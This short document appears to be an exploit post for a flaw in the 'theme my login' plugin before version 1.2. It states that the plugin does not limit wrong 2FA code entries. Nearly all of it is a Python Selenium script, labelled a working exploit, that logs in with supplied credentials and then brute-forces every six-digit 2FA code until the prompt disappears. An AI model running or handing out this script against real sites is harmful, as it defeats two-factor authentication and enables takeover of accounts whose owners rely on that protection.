The theme my login plugin before 1.2 does not check how often a 2FA code was wrongly entered, allowing a bruteforce of codes to bypass 2FA effectively. A working python exploit:

from typing import KeysView
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait 
from selenium.webdriver.support import expected_conditions as EC 

driver = webdriver.Firefox()
driver.get("websiteloginhere")

# Locate the username field by its 'id' attribute and fill it in 
username_field = driver.find_element(By.ID, "user_login") 
username_field.click() 
username_field.send_keys("usernamehere") 
 
# Locate the password field by its 'id' attribute and fill it in 
password_field = driver.find_element(By.ID, "user_pass") 
password_field.click() 
password_field.send_keys("passwordhere") 

# Locate the Log In button and click it 
login_button = driver.find_element(By.XPATH, "//button[@name='submit' and @type='submit' and @class='tml-button']") 
login_button.click() 

# FROM HERE, keep doing this from 000000 till 999999 or till you can not find the input anymore after waiting 
 
for i in range(1000000): 
 code = str(i).zfill(6) 
 
 try: 
 wait = WebDriverWait(driver, 10) 
 code_field = wait.until(EC.element_to_be_clickable((By.XPATH, "//input[@name='code' and @type='text']"))) 
 except: 
 break 
 
 code_field.click() 
 code_field.clear() 
 code_field.send_keys(code) 
 
 verify_button = driver.find_element(By.XPATH, "//button[@name='submit' and @type='submit' and @class='tml-button']") 
 verify_button.click()